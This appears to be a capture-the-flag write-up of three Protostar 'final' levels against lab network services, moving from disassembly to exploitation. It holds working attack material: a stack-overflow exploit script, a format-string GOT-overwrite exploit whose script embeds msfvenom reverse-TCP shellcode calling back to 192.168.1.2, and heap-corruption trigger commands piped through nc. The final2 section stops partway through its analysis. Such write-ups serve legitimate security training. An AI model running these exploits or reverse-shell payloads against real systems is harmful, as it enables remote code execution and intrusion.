For this level we have got a binary listening on port 2995.
Let’s find out what this binary is up to.
0x08049833 <main+0>: push %ebp
0x08049834 <main+1>: mov %esp,%ebp
0x08049836 <main+3>: and $0xfffffff0,%esp
0x08049839 <main+6>: sub $0x20,%esp
0x0804983c <main+9>: movl $0x0,0x8(%esp)
0x08049844 <main+17>: movl $0x0,0x4(%esp)
0x0804984c <main+25>: movl $0x8049c74,(%esp) ; "final0"
0x08049853 <main+32>: call 0x8048e58 <background_process>
0x08049858 <main+37>: movl $0xbb3,(%esp)
0x0804985f <main+44>: call 0x80492f5 <serve_forever>
0x08049864 <main+49>: mov %eax,0x18(%esp)
0x08049868 <main+53>: mov 0x18(%esp),%eax
0x0804986c <main+57>: mov %eax,(%esp)
0x0804986f <main+60>: call 0x80493d5 <set_io>
0x08049874 <main+65>: call 0x804975a <get_username>
0x08049879 <main+70>: mov %eax,0x1c(%esp)
0x0804987d <main+74>: mov $0x8049c7b,%eax ; "No such user %s\n"
0x08049882 <main+79>: mov 0x1c(%esp),%edx
0x08049886 <main+83>: mov %edx,0x4(%esp)
0x0804988a <main+87>: mov %eax,(%esp)
0x0804988d <main+90>: call 0x8048bac <printf@plt>
We have got a service waiting for our commands. The magic is happening in get_username().
0x0804975e <get_username+4>: sub $0x224,%esp
0x08049764 <get_username+10>: movl $0x200,0x8(%esp) ; 512
0x0804976c <get_username+18>: movl $0x0,0x4(%esp) ; 0
0x08049774 <get_username+26>: lea -0x210(%ebp),%eax ; var A
0x0804977a <get_username+32>: mov %eax,(%esp)
0x0804977d <get_username+35>: call 0x8048aec <memset@plt>
0x08049782 <get_username+40>: lea -0x210(%ebp),%eax ;
0x08049788 <get_username+46>: mov %eax,(%esp)
0x0804978b <get_username+49>: call 0x8048aac <gets@plt>
So we have got a 512 byte buffer. The binary reads in some input and stores it in there. This is a simple stack based buffer overflow.
0x08049790 <get_username+54>: movl $0xa,0x4(%esp) ; pass 0x0a
0x08049798 <get_username+62>: lea -0x210(%ebp),%eax ; pass A
0x0804979e <get_username+68>: mov %eax,(%esp)
0x080497a1 <get_username+71>: call 0x8048a9c <strchr@plt>
0x080497a6 <get_username+76>: mov %eax,-0x10(%ebp)
0x080497a9 <get_username+79>: cmpl $0x0,-0x10(%ebp) ; compare against null
0x080497ad <get_username+83>: je 0x80497b5 <get_username+91>
0x080497af <get_username+85>: mov -0x10(%ebp),%eax
0x080497b2 <get_username+88>: movb $0x0,(%eax) ; zero out
;...
0x080497b5 <get_username+91>: movl $0xd,0x4(%esp) ; pass 0x0d
0x080497bd <get_username+99>: lea -0x210(%ebp),%eax ; pass A
0x080497c3 <get_username+105>: mov %eax,(%esp)
0x080497c6 <get_username+108>: call 0x8048a9c <strchr@plt>
0x080497cb <get_username+113>: mov %eax,-0x10(%ebp)
0x080497ce <get_username+116>: cmpl $0x0,-0x10(%ebp) ; compare against null
0x080497d2 <get_username+120>: je 0x80497da <get_username+128>
0x080497d4 <get_username+122>: mov -0x10(%ebp),%eax
0x080497d7 <get_username+125>: movb $0x0,(%eax) ; zero out
This part zeroes out the first 0x0a and 0x0d in the strings.
0x080497da <get_username+128>: movl $0x0,-0xc(%ebp) ; setup loop variable
0x080497e1 <get_username+135>: jmp 0x8049807 <get_username+173>
0x080497e3 <get_username+137>: mov -0xc(%ebp),%ebx
0x080497e6 <get_username+140>: mov -0xc(%ebp),%eax
0x080497e9 <get_username+143>: movzbl -0x210(%ebp,%eax,1),%eax
0x080497f1 <get_username+151>: movsbl %al,%eax
0x080497f4 <get_username+154>: mov %eax,(%esp)
0x080497f7 <get_username+157>: call 0x8048adc <toupper@plt>
0x080497fc <get_username+162>: mov %al,-0x210(%ebp,%ebx,1)
0x08049803 <get_username+169>: addl $0x1,-0xc(%ebp)
0x08049807 <get_username+173>: mov -0xc(%ebp),%ebx ;
0x0804980a <get_username+176>: lea -0x210(%ebp),%eax ; A
0x08049810 <get_username+182>: mov %eax,(%esp)
0x08049813 <get_username+185>: call 0x8048b8c <strlen@plt>
0x08049818 <get_username+190>: cmp %eax,%ebx ; end of string
0x0804981a <get_username+192>: jb 0x80497e3 <get_username+137>
Next, every character of the string is converted toupper.
0x0804981c <get_username+194>: lea -0x210(%ebp),%eax
0x08049822 <get_username+200>: mov %eax,(%esp) ; pass A
0x08049825 <get_username+203>: call 0x8048c7c <strdup@plt>
0x0804982a <get_username+208>: add $0x224,%esp
0x08049830 <get_username+214>: pop %ebx
0x08049831 <get_username+215>: pop %ebp
0x08049832 <get_username+216>: ret
And finally, the string is copied to the heap.
So we create a pattern to identify the offset for the return address. We also must keep in mind, to terminate the string with 0x0a or 0x0d. This is to garantee, that our shellcode does not get mangled in the toupper loop.
1import sys, socket
2import struct
3
4HOST = "127.0.0.1"
5PORT = 2995
6
7s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8s.connect((HOST, PORT))
9
10shellcode = "\xe9\x1e\x00\x00\x00" +"\xb8\x04\x00\x00\x00" +"\xbb\x01\x00\x00\x00" +"\x59" +"\xba\x0f\x00\x00\x00" +"\xcd\x80" +"\xb8\x01\x00\x00\x00" +"\xbb\x00\x00\x00\x00" +"\xcd\x80" +"\xe8\xdd\xff\xff\xff" +"\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21"
11
12offset = 532
13packet = "aaa\x0d"
14packet += "\x90"*8 + shellcode
15packet += "\xCC"*(offset-len(packet))
16packet += "\x74\xf4\xff\xbf"
17packet += "\x0a"
18
19s.sendall(packet)
20
21data = s.recv(1024)
22print "%s" % data
23
24s.close()
For this level we have got a binary listening on port 2994.
Let’s find out what this binary is up to.
0x08049ab9 <main+0>: push %ebp
0x08049aba <main+1>: mov %esp,%ebp
0x08049abc <main+3>: and $0xfffffff0,%esp
0x08049abf <main+6>: sub $0x20,%esp
0x08049ac2 <main+9>: movl $0x0,0x8(%esp)
0x08049aca <main+17>: movl $0x0,0x4(%esp)
0x08049ad2 <main+25>: movl $0x8049f5f,(%esp)
0x08049ad9 <main+32>: call 0x8048f98 <background_process>
0x08049ade <main+37>: movl $0xbb2,(%esp)
0x08049ae5 <main+44>: call 0x8049435 <serve_forever>
0x08049aea <main+49>: mov %eax,0x18(%esp)
0x08049aee <main+53>: mov 0x18(%esp),%eax
0x08049af2 <main+57>: mov %eax,(%esp)
0x08049af5 <main+60>: call 0x8049515 <set_io>
0x08049afa <main+65>: call 0x8049a31 <getipport>
0x08049aff <main+70>: call 0x804993d <parser>
...
Once again, we have got a service waiting for our commands. The magic is happening in parser().
..
0x08049940 <parser+3>: sub $0x98,%esp
0x08049946 <parser+9>: mov $0x8049f0e,%eax ; "[final1] $ "
0x0804994b <parser+14>: mov %eax,(%esp)
0x0804994e <parser+17>: call 0x8048ccc <printf@plt>
0x08049953 <parser+22>: jmp 0x8049a08 <parser+203> ; start loop
0x08049958 <parser+27>: lea -0x88(%ebp),%eax ; input buffer
0x0804995e <parser+33>: mov %eax,(%esp)
0x08049961 <parser+36>: call 0x80498f1 <trim>
0x08049966 <parser+41>: movl $0x9,0x8(%esp) ; 9 chars
0x0804996e <parser+49>: movl $0x8049f1a,0x4(%esp) ; "username "
0x08049976 <parser+57>: lea -0x88(%ebp),%eax ; input buffer
0x0804997c <parser+63>: mov %eax,(%esp)
0x0804997f <parser+66>: call 0x8048d9c <strncmp@plt>
0x08049984 <parser+71>: test %eax,%eax
0x08049986 <parser+73>: jne 0x80499a3 <parser+102>
0x08049988 <parser+75>: lea -0x88(%ebp),%eax ; input buffer
0x0804998e <parser+81>: add $0x9,%eax ; string after "username "
0x08049991 <parser+84>: mov %eax,0x4(%esp)
0x08049995 <parser+88>: movl $0x804a220,(%esp) ; target address
0x0804999c <parser+95>: call 0x8048cbc <strcpy@plt>
0x080499a1 <parser+100>: jmp 0x80499fb <parser+190> ; continue
0x080499a3 <parser+102>: movl $0x6,0x8(%esp) ; 6 chars
0x080499ab <parser+110>: movl $0x8049f24,0x4(%esp) ; "login "
0x080499b3 <parser+118>: lea -0x88(%ebp),%eax ; input buffer
0x080499b9 <parser+124>: mov %eax,(%esp)
0x080499bc <parser+127>: call 0x8048d9c <strncmp@plt>
0x080499c1 <parser+132>: test %eax,%eax
0x080499c3 <parser+134>: jne 0x80499fb <parser+190> ; continue
0x080499c5 <parser+136>: movzbl 0x804a220,%eax ; username buffer
0x080499cc <parser+143>: test %al,%al
0x080499ce <parser+145>: jne 0x80499de <parser+161>
0x080499d0 <parser+147>: movl $0x8049f2b,(%esp) ; "invalid protocol"
0x080499d7 <parser+154>: call 0x8048d4c <puts@plt>
0x080499dc <parser+159>: jmp 0x80499fb <parser+190> ; continue
0x080499de <parser+161>: lea -0x88(%ebp),%eax ; input buffer
0x080499e4 <parser+167>: add $0x6,%eax ; string after "login "
0x080499e7 <parser+170>: mov %eax,(%esp)
0x080499ea <parser+173>: call 0x804989a <logit>
0x080499ef <parser+178>: movl $0x8049f3c,(%esp) ; "login failed"
0x080499f6 <parser+185>: call 0x8048d4c <puts@plt>
0x080499fb <parser+190>: mov $0x8049f0e,%eax ; "[final1] $ "
0x08049a00 <parser+195>: mov %eax,(%esp)
0x08049a03 <parser+198>: call 0x8048ccc <printf@plt>
0x08049a08 <parser+203>: mov 0x804a1e8,%eax ; stdin@@GLIBC_2.0
0x08049a0d <parser+208>: mov %eax,0x8(%esp) ;
0x08049a11 <parser+212>: movl $0x7f,0x4(%esp) ; 127
0x08049a19 <parser+220>: lea -0x88(%ebp),%eax ; input buffer
0x08049a1f <parser+226>: mov %eax,(%esp)
0x08049a22 <parser+229>: call 0x8048bdc <fgets@plt>
0x08049a27 <parser+234>: test %eax,%eax
0x08049a29 <parser+236>: jne 0x8049958 <parser+27>
..
The heap variable for the username is 0x7F. This means that 9 bytes are empty, because “username " is stripped in parser+81. After storing the username, we can take the jne in parser+145 with “login “. The next step is the logit() function.
...
0x0804989d <logit+3>: sub esp,0x228
0x080498a3 <logit+9>: mov eax,0x8049ee4 ; format string
0x080498a8 <logit+14>: mov edx,DWORD PTR [ebp+0x8]
0x080498ab <logit+17>: mov DWORD PTR [esp+0x14],edx ; login
0x080498af <logit+21>: mov DWORD PTR [esp+0x10],0x804a220 ; username
0x080498b7 <logit+29>: mov DWORD PTR [esp+0xc],0x804a2a0 ; "host:ip"
0x080498bf <logit+37>: mov DWORD PTR [esp+0x8],eax ; format string
0x080498c3 <logit+41>: mov DWORD PTR [esp+0x4],0x200 ; 512 bytes
0x080498cb <logit+49>: lea eax,[ebp-0x208] ; target buffer
0x080498d1 <logit+55>: mov DWORD PTR [esp],eax
0x080498d4 <logit+58>: call 0x8048dac <snprintf@plt>
0x080498d9 <logit+63>: lea eax,[ebp-0x208]
0x080498df <logit+69>: mov DWORD PTR [esp+0x4],eax
0x080498e3 <logit+73>: mov DWORD PTR [esp],0xf
0x080498ea <logit+80>: call 0x8048b6c <syslog@plt>
...
The snprintf function looks secure. Other functions like trim() are also not vulnerable. The only hint we have got would be a format string injection that is passed to syslog() via snprintf(). Lets test that idea. To do this we provide a format string expression as a username.
[final1] $ username AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login test
login failed
This produces a syslog entry with memory information that looks like DWORDs.
Jun 26 06:51:32 (none) final1: Login from 192.168.1.2:60564 as [AAAA8049ee4.804a2a0.804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239] with password [test]
So we can utilize a format string injection an try to overwrite an address.
Now, we need to identify the offset at for the format string. To do this, we fill the buffer for username, as this is a global variable with a fixed address. So we can easily reference it. The format string vector will be placed in the login buffer.
First, let’s identify correct offset.
$python -c 'print "username "+"A"*117+"\r\nlogin XBBBBCCCCDDDDEEEE"+".".join(["%(i)d:%%%(i)d$x" % {"i":i} for i in range(40,60)])+"\r\n"' | nc 192.168.1.6 2994
And the respective syslog entry gives detailed insights
^[[AJun 26 10:09:29 (none) final1: Login from 192.168.1.2:33622 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] with password [XBBBBCCCCDDDDEEEE40:41414141.41:41414141.42:41414141.43:41414141.44:205d4141.45:68746977.46:73617020.47:726f7773.48:585b2064.49:42424242.50:43434343.51:%]
So the target offset for the format string vulnerability is 49 DWORDs, including one padding byte. To verify the funtion of the attack we construct the following test.
$ python -c 'print "username "+"A"*117+"\r\nlogin XBBBBCCCCDDDDEEEE"+"%49$x"+"%50$x"+"%51$x"+"%52$x"+"\r\n"' | nc 192.168.1.6 2994
And the syslog output is as expected.
Jun 26 10:16:12 (none) final1: Login from 192.168.1.2:33677 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] with password [XBBBBCCCCDDDDEEEE42424242434343434444444445454545]
In order to gain control over the executable, we could overwrite the syslog() function pointer. Let’s examine the respective instructions.
gdb$ x/1i 0x080499f6
0x80499f6 <parser+185>: call 0x8048d4c <puts@plt>
gdb$ x/3i 0x8048d4c
0x8048d4c <puts@plt>: jmp DWORD PTR ds:0x804a194
0x8048d52 <puts@plt+6>: push 0x138
0x8048d57 <puts@plt+11>: jmp 0x8048acc
gdb$ x/x 0x804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>: 0x08048d52
So this leads to the following username string to test the address.
python -c 'print "username "+"A"*117+"\r\nlogin "+"X"*1+"\x94\xa1\x04\x08"+"\x95\xa1\x04\x08"+"\x96\xa1\x04\x08"+"\x97\xa1\x04\x08"+"%49$n"+"%50$n"+"%51$n"+"%52$n"+"\r\n"' | nc 192.168.1.6 2994
In the gdb we can verify that the target address is overwritten after the syslog() call.
gdb$ x/x 0x804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>: 0xb8b8b8b8
The next step is to point the address to the global variable “username” 0x804a220. This means we need to calculate the following way with a four byte overwrite.
Byte 1: 0x20 - 0xB8 + 0xff = 0x67 + 0x01 (104)
Byte 2: 0xA2 - 0x20 = 0x82 (130)
Byte 3: 0x04 - 0xA2 + 0xff = 0x61 + 0x01 (98)
Byte 4: 0x08 - 0x04 = 0x04 (4)
Unfortunately, writing 0x04 for the last byte results in a 0x0C. This is a problem, so we need to try a two-byte write.
Bytes 1+2: 0xA220 - 0x00B0 = 0xA170 (41328)
Bytes 3+4: 0x0804 - 0xA220 + 0xffff = 0x65E3 + 0x01 (26084)
So with the following command, we can redirect the execution flow to our buffer. For testing purposes, the username is filled with 0xCC (int3) instructions to stop execution when the code is hit in gdb.
$ python -c 'print "username "+"\xCC"*117+"\r\nlogin "+"X"*1+"\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%41328x%49$n"+"%26084x%50$n"+"\r\n"' | nc 192.168.1.6 2994
in the end the binary behaves as expected.
Program received signal SIGTRAP, Trace/breakpoint trap.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FD7FF4 ECX: 0x00011000 EDX: 0xB7FD7FF4 o d I t S z A p c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFFB48 ESP: 0xBFFFFAAC EIP: 0x0804A221
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x804a221 <username+1>: int3
0x804a222 <username+2>: int3
0x804a223 <username+3>: int3
0x804a224 <username+4>: int3
0x804a225 <username+5>: int3
0x804a226 <username+6>: int3
0x804a227 <username+7>: int3
0x804a228 <username+8>: int3
--------------------------------------------------------------------------------
0x0804a221 in username ()
Now we need to find a proper shellcode. with msfvenom we can easily create an appropriate reverese tcp shell. The final exploit looks as follows.
1#!/usr/bin/python
2# -*- coding: utf-8 -*-
3
4import socket
5import struct
6import sys
7
8#TARGET
9target_ip = "192.168.1.6"
10target_port = 2994
11
12def send_data(sock, out=""):
13 print(len(out),out.strip())
14 sock.send(out)
15 msg = sock.recv(1024)
16 print(msg.strip())
17
18
19#test data
20target_1 = "AAAA"
21target_2 = "BBBB"
22target_3 = "CCCC"
23target_4 = "DDDD"
24
25#target address
26target = 0x804a194 #puts()
27target_1 = struct.pack("<I",target+0)
28target_2 = struct.pack("<I",target+1)
29target_3 = struct.pack("<I",target+2)
30target_4 = struct.pack("<I",target+3)
31
32#$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f python -e x86/shikata_ga_nai
33shellcode = "\x90"
34shellcode += "\xba\xe7\x96\xde\xe9\xda\xce\xd9\x74\x24\xf4\x5b\x2b"
35shellcode += "\xc9\xb1\x12\x31\x53\x12\x83\xc3\x04\x03\xb4\x98\x3c"
36shellcode += "\x1c\x0b\x7e\x37\x3c\x38\xc3\xeb\xa9\xbc\x4a\xea\x9e"
37shellcode += "\xa6\x81\x6d\x4d\x7f\xaa\x51\xbf\xff\x83\xd4\xc6\x97"
38shellcode += "\xd3\x8f\x38\x65\xbc\xcd\x3a\x78\x60\x5b\xdb\xca\xfe"
39shellcode += "\x0b\x4d\x79\x4c\xa8\xe4\x9c\x7f\x2f\xa4\x36\xaf\x1f"
40shellcode += "\x3a\xae\xc7\x70\xde\x47\x76\x06\xfd\xc5\xd5\x91\xe3"
41shellcode += "\x59\xd2\x6c\x63"
42
43#shellcode = "\xCC"
44shellcode += "\x90"*(127-10-len(shellcode))
45
46if len(shellcode) > 117:
47 print("Exploit code too large")
48 exit
49
50#test offset
51exploit = "X" + "BBBB" + "%x."*16
52#test data
53exploit = "X" + target_1 + target_2 + target_3 + target_4 + "%49$x" + "%50$x" + "%51$x" + "%52$x"
54#exploit code - one-byte write
55exploit = "X" + target_1 + target_2 + target_3 + target_4 + "%104x%49$n" + "%130x%50$n" + "%98x%51$n" + "%04x%52$n"
56#test data
57exploit = "X" + target_2 + target_3 + ".%49$x" + ".%50$x"
58#exploit code - two-byte write
59exploit = "X" + target_1 + target_3 + "%41328x%49$n"+"%26084x%50$n"
60
61sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
62sock.connect((target_ip,target_port))
63if sock:
64 msg = sock.recv(1024)
65 print(msg.strip())
66
67 ret = send_data(sock, "username " + shellcode + "\r\n")
68 ret = send_data(sock, "login " + exploit + "\r\n")
69
70sock.close()
For this level we have got a service listening on port 2993.
Let’s find out what is happening in the binary.
0x0804be26 <main+0>: push %ebp
0x0804be27 <main+1>: mov %esp,%ebp
0x0804be29 <main+3>: and $0xfffffff0,%esp
0x0804be2c <main+6>: sub $0x20,%esp
0x0804be2f <main+9>: movl $0x1,0x4(%esp)
0x0804be37 <main+17>: movl $0xd,(%esp)
0x0804be3e <main+24>: call 0x8048dcc <signal@plt>
0x0804be43 <main+29>: movl $0x0,0x8(%esp)
0x0804be4b <main+37>: movl $0x0,0x4(%esp)
0x0804be53 <main+45>: movl $0x804c2e2,(%esp)
0x0804be5a <main+52>: call 0x80491d8 <background_process>
0x0804be5f <main+57>: movl $0xbb1,(%esp)
0x0804be66 <main+64>: call 0x8049675 <serve_forever>
0x0804be6b <main+69>: mov %eax,0x18(%esp)
0x0804be6f <main+73>: mov 0x18(%esp),%eax
0x0804be73 <main+77>: mov %eax,(%esp)
0x0804be76 <main+80>: call 0x8049755 <set_io>
0x0804be7b <main+85>: mov 0x18(%esp),%eax
0x0804be7f <main+89>: mov %eax,(%esp)
0x0804be82 <main+92>: call 0x804bd47 <get_requests>
0x0804be87 <main+97>: leave
0x0804be88 <main+98>: ret
The Service is waiting for incoming requests.
0x0804bd47 <get_requests+0>: push %ebp
0x0804bd48 <get_requests+1>: mov %esp,%ebp
0x0804bd4a <get_requests+3>: sub $0x428,%esp
0x0804bd50 <get_requests+9>: movl $0x0,-0x10(%ebp)
0x0804bd57 <get_requests+16>: cmpl $0xfe,-0x10(%ebp)
First, prepare the stack an initialize a loop variable.
0x0804bd5e <get_requests+23>: jg 0x804bddb <get_requests+148>
0x0804bd60 <get_requests+25>: movl $0x1,0x4(%esp) ; pass size
0x0804bd68 <get_requests+33>: movl $0x80,(%esp) ; pass num = 128
0x0804bd6f <get_requests+40>: call 0x804b4ee <calloc> ;
0x0804bd74 <get_requests+45>: mov %eax,-0x14(%ebp)
Next, allocate 128 bytes on the heap.
0x0804bd77 <get_requests+48>: mov -0x10(%ebp),%eax
0x0804bd7a <get_requests+51>: mov -0x14(%ebp),%edx
0x0804bd7d <get_requests+54>: mov %edx,-0x414(%ebp,%eax,4)
0x0804bd84 <get_requests+61>: addl $0x1,-0x10(%ebp)
This snippets takes care of the loop.
0x0804bd88 <get_requests+65>: movl $0x80,0x8(%esp) ; pass nbyte = 128
0x0804bd90 <get_requests+73>: mov -0x14(%ebp),%eax
0x0804bd93 <get_requests+76>: mov %eax,0x4(%esp) ; pass buf
0x0804bd97 <get_requests+80>: mov 0x8(%ebp),%eax ;
0x0804bd9a <get_requests+83>: mov %eax,(%esp) ; pass FILE
0x0804bd9d <get_requests+86>: call 0x8048e5c <read@plt>
Next, read 128 bytes into the allocated buffer.
0x0804bda2 <get_requests+91>: cmp $0x80,%eax
0x0804bda7 <get_requests+96>: jne 0x804bdde <get_requests+151>
Check whether 128 bytes were read with the last command. This is probably a break condition.
0x0804bda9 <get_requests+98>: movl $0x4,0x8(%esp) ; size = 4
0x0804bdb1 <get_requests+106>: movl $0x804c2d1,0x4(%esp) ; pass s2 = "FSRD"
0x0804bdb9 <get_requests+114>: mov -0x14(%ebp),%eax
0x0804bdbc <get_requests+117>: mov %eax,(%esp) ; pass s1
0x0804bdbf <get_requests+120>: call 0x8048fdc <strncmp@plt>
0x0804bdc4 <get_requests+125>: test %eax,%eax
0x0804bdc6 <get_requests+127>: jne 0x804bde1 <get_requests+154>
Compare the input against a global variable. If the string is not found at the beginning, do a jump to the end of the loop. This is probably a break condition.
0x0804bdc8 <get_requests+129>: mov -0x14(%ebp),%eax
0x0804bdcb <get_requests+132>: add $0x4,%eax
0x0804bdce <get_requests+135>: mov %eax,(%esp)
0x0804bdd1 <get_requests+138>: call 0x804bcd0 <check_path>
0x0804bdd6 <get_requests+143>: jmp 0x804bd57 <get_requests+16>
0x0804bddb <get_requests+148>: nop
0x0804bddc <get_requests+149>: jmp 0x804bde2 <get_requests+155>
0x0804bdde <get_requests+151>: nop
0x0804bddf <get_requests+152>: jmp 0x804bde2 <get_requests+155>
0x0804bde1 <get_requests+154>: nop
0x0804bde2 <get_requests+155>: movl $0x0,-0xc(%ebp)
0x0804bde9 <get_requests+162>: jmp 0x804be1c <get_requests+213>
Don’t know exactly what’s happening here.
0x0804bdeb <get_requests+164>: movl $0xb,0x8(%esp) ; pass nbyte = 11
0x0804bdf3 <get_requests+172>: movl $0x804c2d6,0x4(%esp) ; pass buf = "Process OK\n"
0x0804bdfb <get_requests+180>: mov 0x8(%ebp),%eax
0x0804bdfe <get_requests+183>: mov %eax,(%esp) ; pass FILE
0x0804be01 <get_requests+186>: call 0x8048dfc <write@plt>
0x0804be06 <get_requests+191>: mov -0xc(%ebp),%eax
0x0804be09 <get_requests+194>: mov -0x414(%ebp,%eax,4),%eax
0x0804be10 <get_requests+201>: mov %eax,(%esp) ; pass ptr
0x0804be13 <get_requests+204>: call 0x804a9c2 <free>
0x0804be18 <get_requests+209>: addl $0x1,-0xc(%ebp)
This terminates the loop and cleans up the allocated memory.
0x0804be1c <get_requests+213>: mov -0xc(%ebp),%eax
0x0804be1f <get_requests+216>: cmp -0x10(%ebp),%eax
0x0804be22 <get_requests+219>: jl 0x804bdeb <get_requests+164>
And another loop condition at the end. Let’s take a look at the check_path() function.
0x0804bcd3 <check_path+3>: sub $0x28,%esp
0x0804bcd6 <check_path+6>: movl $0x2f,0x4(%esp) ; pass c = "/"
0x0804bcde <check_path+14>: mov 0x8(%ebp),%eax
0x0804bce1 <check_path+17>: mov %eax,(%esp) ; pass *s
0x0804bce4 <check_path+20>: call 0x8048f7c <rindex@plt>
0x0804bce9 <check_path+25>: mov %eax,-0x10(%ebp) ; ptr to last occurrence
The last occurence of 0x2F is identified.
0x0804bcec <check_path+28>: mov -0x10(%ebp),%eax
0x0804bcef <check_path+31>: mov %eax,(%esp) ; pass *s
0x0804bcf2 <check_path+34>: call 0x8048edc <strlen@plt>
0x0804bcf7 <check_path+39>: mov %eax,-0xc(%ebp) ; no of bytes
0x0804bcfa <check_path+42>: cmpl $0x0,-0x10(%ebp)
0x0804bcfe <check_path+46>: je 0x804bd45 <check_path+117>
With the rindex of slash, the length of the remaining string is calculated.
0x0804bd00 <check_path+48>: movl $0x804c2cc,0x4(%esp) ; pass needle = "ROOT"
0x0804bd08 <check_path+56>: mov 0x8(%ebp),%eax
0x0804bd0b <check_path+59>: mov %eax,(%esp) ; pass haystack
0x0804bd0e <check_path+62>: call 0x8048f4c <strstr@plt>
0x0804bd13 <check_path+67>: mov %eax,-0x14(%ebp)
0x0804bd16 <check_path+70>: cmpl $0x0,-0x14(%ebp)
0x0804bd1a <check_path+74>: je 0x804bd45 <check_path+117>
Find the needle “ROOT” in the last part of the string.
0x0804bd1c <check_path+76>: jmp 0x804bd22 <check_path+82>
0x0804bd1e <check_path+78>: subl $0x1,-0x14(%ebp)
0x0804bd22 <check_path+82>: mov -0x14(%ebp),%eax
0x0804bd25 <check_path+85>: movzbl (%eax),%eax
0x0804bd28 <check_path+88>: cmp $0x2f,%al
0x0804bd2a <check_path+90>: jne 0x804bd1e <check_path+78>
This iterates a pointer backwards from “ROOT” to locate the first occurence of 0x2F “/”. There might be a problem with this loop, as the pointer will iterate out of the current variable into other memory on the heap.
0x0804bd2c <check_path+92>: mov -0xc(%ebp),%eax
0x0804bd2f <check_path+95>: mov %eax,0x8(%esp) ; pass size
0x0804bd33 <check_path+99>: mov -0x10(%ebp),%eax
0x0804bd36 <check_path+102>: mov %eax,0x4(%esp) ; pass src
0x0804bd3a <check_path+106>: mov -0x14(%ebp),%eax
0x0804bd3d <check_path+109>: mov %eax,(%esp) ; pass dest
0x0804bd40 <check_path+112>: call 0x8048f8c <memmove@plt>
0x0804bd45 <check_path+117>: leave
So with the following command we can trigger the memmove() at 0x0804bd40.
#perl -e 'print("FSRD/ROOT"."A"x64 ."C"x64 ."\r\n")' | nc 192.168.1.6 2993
Also notice, that the services reads 128 bytes in a newly allocated buffer in a loop. Only when less than 128 bytes are received, or the string “FSRD” is not at the beginning of the string does the service close the connection. This means, that we can send sequential requests that will end up next to each other on the heap. At this point the reverse search for 0x2F in check_path:88 and memmove comes in handy.
By sending two specifically crafted requests we might be able overwrite the chunk size and prev_size for the second allocated memory chunk.
packet #1 packet #2
+---+--------------------+------------------------+
|hdr|FSRDAAAA...AAAAAAAA/|hdr|FSRDROOT...AAAA/BBBB|
+---+--------------------+------------------------+
/|\ \ /
| memmove() ||
+----------------------++
The command to trigger the write looks as follows.
#perl -e 'print(FSRD.Ax123 ./.FSRDROOT.Bx111 ./CCCCDDDD)' | nc 192.168.1.6 2993
With the above input, the service segfaults during free(). Let’s take a look at the memory to verify the overwrite of size and prev_size.
gdb$ x/34x 0x0804E008-8
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x41414141 0x2f414141
gdb$ x/34x 0x0804E090-8
0x804e088: 0x43434343 0x44444444 0x44525346 0x544f4f52
0x804e098: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0a8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0b8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0c8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0d8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0e8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0f8: 0x42424242 0x42424242 0x42424242 0x2f424242
0x804e108: 0x43434343 0x44444444
So the write succeeds.
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x42424242 EBX: 0xB7FD7FF4 ECX: 0x0804C2D6 EDX: 0x43434343 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF828 ESP: 0xBFFFF7E0 EIP: 0x0804AAEF
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x804aaef <free+301>: mov DWORD PTR [eax+0xc],edx
0x804aaf2 <free+304>: mov eax,DWORD PTR [ebp-0x18]
0x804aaf5 <free+307>: mov edx,DWORD PTR [ebp-0x14]
0x804aaf8 <free+310>: mov DWORD PTR [eax+0x8],edx
0x804aafb <free+313>: mov eax,DWORD PTR [ebp-0x24]
0x804aafe <free+316>: add DWORD PTR [ebp-0x30],eax
0x804ab01 <free+319>: mov eax,DWORD PTR [ebp-0x38]
0x804ab04 <free+322>: add eax,0x34
--------------------------------------------------------------------------------
0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648 final2/../common/malloc.c: No such file or directory.
in final2/../common/malloc.c
gdb$ i r
eax 0x42424242 0x42424242
edx 0x43434343 0x43434343
And free() crashes as expected, because of the illegal chunk sizes.
So in order to exploit this vulnerability we have to put some more work into this. Let’s take a look at the free function to better understand what’s happening.
Let’s step into free and see what’s happening.
